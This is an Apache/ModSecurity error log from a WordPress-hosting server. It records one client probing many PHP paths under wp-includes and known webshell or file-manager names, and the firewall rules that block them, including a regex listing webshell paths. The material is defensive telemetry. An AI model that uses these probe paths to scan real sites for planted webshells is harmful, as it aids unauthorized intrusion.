[Wed Apr 08 04:42:33.465906 2026] [:error] [pid 16630:tid 16645] [client 188.95.54.39:44732] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "adVsOSjfVAkPG-jgJEpiOgAAAQ0"]
[Wed Apr 08 04:42:34.831198 2026] [proxy_fcgi:error] [pid 16630:tid 16655] [client 188.95.54.39:48450] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 04:42:35.092640 2026] [proxy_fcgi:error] [pid 16630:tid 16656] [client 188.95.54.39:48450] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 04:42:35.354893 2026] [proxy_fcgi:error] [pid 16630:tid 16641] [client 188.95.54.39:48450] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 04:42:36.661392 2026] [:error] [pid 16630:tid 16643] [client 188.95.54.39:48450] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "adVsPCjfVAkPG-jgJEpiZwAAAQs"]
[Wed Apr 08 04:42:37.189867 2026] [:error] [pid 47627:tid 47706] [client 188.95.54.39:48454] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "adVsPXOljf1Quv_kDjl5YAAAAIc"]
[Wed Apr 08 04:42:37.705406 2026] [:error] [pid 47625:tid 47646] [client 188.95.54.39:48456] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "adVsPSVuHyNWzZlE8PDpRgAAAAw"]
[Wed Apr 08 04:42:38.230942 2026] [:error] [pid 47626:tid 47671] [client 188.95.54.39:48460] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "adVsPqjWI8TWtHx2sdbqnAAAAEM"]
[Wed Apr 08 04:42:38.743474 2026] [:error] [pid 16630:tid 16648] [client 188.95.54.39:48470] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "adVsPijfVAkPG-jgJEpidwAAARA"]
[Wed Apr 08 04:42:39.254039 2026] [:error] [pid 16630:tid 16646] [client 188.95.54.39:48486] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "adVsPyjfVAkPG-jgJEpieQAAAQ4"]
[Wed Apr 08 04:42:40.063580 2026] [:error] [pid 47626:tid 47683] [client 188.95.54.39:48502] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "adVsQKjWI8TWtHx2sdbqoQAAAE8"]
[Wed Apr 08 04:42:40.583040 2026] [:error] [pid 47627:tid 47708] [client 188.95.54.39:48516] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "adVsQHOljf1Quv_kDjl5ZAAAAIk"]
[Wed Apr 08 04:42:41.202540 2026] [:error] [pid 47732:tid 47750] [client 188.95.54.39:48528] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "adVsQYm4N5QW9Mh7G10UwAAAANA"]
[Wed Apr 08 04:42:41.715095 2026] [:error] [pid 16630:tid 16644] [client 188.95.54.39:48538] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "adVsQSjfVAkPG-jgJEpigwAAAQw"]
[Wed Apr 08 04:42:42.763567 2026] [:error] [pid 47627:tid 47702] [client 188.95.54.39:48550] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "adVsQnOljf1Quv_kDjl5awAAAIM"]
[Wed Apr 08 04:42:43.546337 2026] [:error] [pid 47625:tid 47654] [client 188.95.54.39:59422] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "adVsQyVuHyNWzZlE8PDpVQAAABQ"]
[Wed Apr 08 04:42:44.618198 2026] [:error] [pid 47732:tid 47750] [client 188.95.54.39:59426] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "adVsRIm4N5QW9Mh7G10UzQAAANA"]
[Wed Apr 08 04:42:45.680960 2026] [:error] [pid 16630:tid 16638] [client 188.95.54.39:59430] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "adVsRSjfVAkPG-jgJEpinwAAAQY"]
[Wed Apr 08 04:42:46.995402 2026] [:error] [pid 47627:tid 47722] [client 188.95.54.39:59436] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "adVsRnOljf1Quv_kDjl5dQAAAJc"]
[Wed Apr 08 04:42:48.575619 2026] [:error] [pid 16630:tid 16649] [client 188.95.54.39:59444] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "adVsSCjfVAkPG-jgJEpisQAAARE"]
[Wed Apr 08 04:42:49.357681 2026] [:error] [pid 47732:tid 47744] [client 188.95.54.39:59454] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "adVsSYm4N5QW9Mh7G10U1wAAAMo"]
[Wed Apr 08 04:42:54.088971 2026] [:error] [pid 47627:tid 47706] [client 188.95.54.39:59468] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "adVsTnOljf1Quv_kDjl5mQAAAIc"]
[Wed Apr 08 04:42:54.610185 2026] [:error] [pid 47732:tid 47752] [client 188.95.54.39:37400] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "adVsTom4N5QW9Mh7G10U8QAAANI"]
[Wed Apr 08 04:42:55.402491 2026] [:error] [pid 47627:tid 47702] [client 188.95.54.39:37402] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "adVsT3Oljf1Quv_kDjl5nQAAAIM"]
[Wed Apr 08 04:42:56.442319 2026] [:error] [pid 47732:tid 47738] [client 188.95.54.39:37414] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "adVsUIm4N5QW9Mh7G10U9wAAAMQ"]
[Wed Apr 08 04:42:56.954148 2026] [:error] [pid 16630:tid 16646] [client 188.95.54.39:37422] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "adVsUCjfVAkPG-jgJEpi2AAAAQ4"]
[Wed Apr 08 04:42:58.513989 2026] [:error] [pid 16630:tid 16648] [client 188.95.54.39:37424] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "adVsUijfVAkPG-jgJEpi7gAAARA"]
[Wed Apr 08 04:42:59.027995 2026] [:error] [pid 47627:tid 47722] [client 188.95.54.39:37434] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "adVsU3Oljf1Quv_kDjl5pQAAAJc"]
[Wed Apr 08 04:43:00.858579 2026] [:error] [pid 47732:tid 47737] [client 188.95.54.39:37442] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "adVsVIm4N5QW9Mh7G10VAgAAAMM"]
[Wed Apr 08 04:43:01.644541 2026] [proxy_fcgi:error] [pid 47626:tid 47690] [client 188.95.54.39:37450] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 04:43:02.157134 2026] [:error] [pid 47626:tid 47685] [client 188.95.54.39:37450] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "adVsVqjWI8TWtHx2sdbq0gAAAFE"]
[Wed Apr 08 04:43:02.672865 2026] [:error] [pid 16630:tid 16632] [client 188.95.54.39:37458] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "adVsVijfVAkPG-jgJEpjBwAAAQA"]
[Wed Apr 08 04:43:05.053369 2026] [:error] [pid 16630:tid 16653] [client 188.95.54.39:48182] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "adVsWSjfVAkPG-jgJEpjGwAAARU"]
[Wed Apr 08 04:43:05.569637 2026] [:error] [pid 47626:tid 47673] [client 188.95.54.39:48186] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "adVsWajWI8TWtHx2sdbq1gAAAEU"]
[Wed Apr 08 04:43:07.945205 2026] [:error] [pid 47627:tid 47719] [client 188.95.54.39:48196] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "adVsW3Oljf1Quv_kDjl5ugAAAJQ"]
[Wed Apr 08 04:43:08.468890 2026] [:error] [pid 47732:tid 47743] [client 188.95.54.39:48210] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "adVsXIm4N5QW9Mh7G10VHAAAAMk"]
[Wed Apr 08 04:43:10.018878 2026] [:error] [pid 47625:tid 47643] [client 188.95.54.39:48216] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "adVsXiVuHyNWzZlE8PDphAAAAAk"]
[Wed Apr 08 04:43:10.535250 2026] [:error] [pid 47627:tid 47719] [client 188.95.54.39:48232] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "adVsXnOljf1Quv_kDjl5xwAAAJQ"]
[Wed Apr 08 04:43:11.051095 2026] [:error] [pid 47732:tid 47752] [client 188.95.54.39:48238] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "adVsX4m4N5QW9Mh7G10VJwAAANI"]
[Wed Apr 08 04:43:12.879607 2026] [:error] [pid 16630:tid 16656] [client 188.95.54.39:48248] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "adVsYCjfVAkPG-jgJEpjPgAAARg"]
[Wed Apr 08 04:43:13.656985 2026] [:error] [pid 16630:tid 16651] [client 188.95.54.39:39070] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "adVsYSjfVAkPG-jgJEpjRgAAARM"]
[Wed Apr 08 04:43:16.010576 2026] [:error] [pid 47625:tid 47647] [client 188.95.54.39:39072] [client 188.95.54.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.95.54.39, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/js/wp-login.php"] [unique_id "adVsZCVuHyNWzZlE8PDpkwAAAA0"]
[Wed Apr 08 04:43:17.579026 2026] [:error] [pid 47625:tid 47641] [client 188.95.54.39:39072] [client 188.95.54.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.95.54.39, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "adVsZSVuHyNWzZlE8PDpmgAAAAc"]
[Wed Apr 08 04:43:20.477849 2026] [proxy_fcgi:error] [pid 47625:tid 47648] [client 188.95.54.39:39072] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 04:43:25.708629 2026] [:error] [pid 47625:tid 47654] [client 188.95.54.39:39072] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "adVsbSVuHyNWzZlE8PDpvAAAABQ"]
[Wed Apr 08 04:43:27.012020 2026] [:error] [pid 16630:tid 16634] [client 188.95.54.39:44916] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "adVsbyjfVAkPG-jgJEpjegAAAQI"]
[Wed Apr 08 04:43:28.047492 2026] [:error] [pid 16630:tid 16651] [client 188.95.54.39:44922] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "adVscCjfVAkPG-jgJEpjhAAAARM"]
[Wed Apr 08 04:43:30.931710 2026] [:error] [pid 47626:tid 47670] [client 188.95.54.39:44938] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "adVscqjWI8TWtHx2sdbrFAAAAEI"]
[Wed Apr 08 04:43:31.968062 2026] [:error] [pid 16630:tid 16632] [client 188.95.54.39:44942] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "adVscyjfVAkPG-jgJEpjlQAAAQA"]
[Wed Apr 08 04:43:32.736175 2026] [:error] [pid 47732:tid 47739] [client 188.95.54.39:44948] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "adVsdIm4N5QW9Mh7G10VnQAAAMU"]
[Wed Apr 08 04:43:34.309581 2026] [proxy_fcgi:error] [pid 47626:tid 47692] [client 188.95.54.39:57768] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 04:43:34.570500 2026] [proxy_fcgi:error] [pid 47626:tid 47680] [client 188.95.54.39:57768] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 04:43:34.830751 2026] [:error] [pid 47626:tid 47690] [client 188.95.54.39:57768] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "adVsdqjWI8TWtHx2sdbrIAAAAFY"]
[Wed Apr 08 04:43:35.341816 2026] [:error] [pid 47627:tid 47703] [client 188.95.54.39:57776] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "adVsd3Oljf1Quv_kDjl6KAAAAIQ"]
[Wed Apr 08 04:43:37.683799 2026] [:error] [pid 47626:tid 47678] [client 188.95.54.39:57778] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "adVseajWI8TWtHx2sdbrMgAAAEo"]
[Wed Apr 08 04:43:38.483346 2026] [:error] [pid 47732:tid 47754] [client 188.95.54.39:57780] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "adVseom4N5QW9Mh7G10VsQAAANQ"]
